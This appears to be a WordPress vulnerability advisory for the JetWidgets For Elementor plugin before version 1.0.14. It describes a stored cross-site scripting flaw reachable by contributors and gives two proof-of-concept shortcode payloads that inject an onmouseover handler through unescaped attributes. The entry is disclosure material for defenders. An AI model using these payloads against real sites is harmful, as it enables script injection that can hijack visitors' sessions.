JetWidgets For Elementor < 1.0.14 - Contributor+ Stored XSS via Shortcode

2022-12-2100:00:00

Lana Codes

jetwidgets elementor contributor stored xss thumbnail image storedxss shortcode_attack vulnerability exploit

0.001 Low

EPSS

Percentile

23.3%

JSON

The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks

[jw-posts show_image='yes' show_image_as='background' bg_position='" onmouseover="alert(/XSS/)"']

[jw-posts show_image='yes' show_image_as='background' bg_size='"onmouseover="alert(/XSS/)//']

Note: For the exploit, at least one of the posts must have a thumbnail image.

0.001 Low

EPSS

Percentile

23.3%

JSON

Related for WPEX-ID:FFBDB8A1-19C3-45E9-81B0-AD47A0791C4A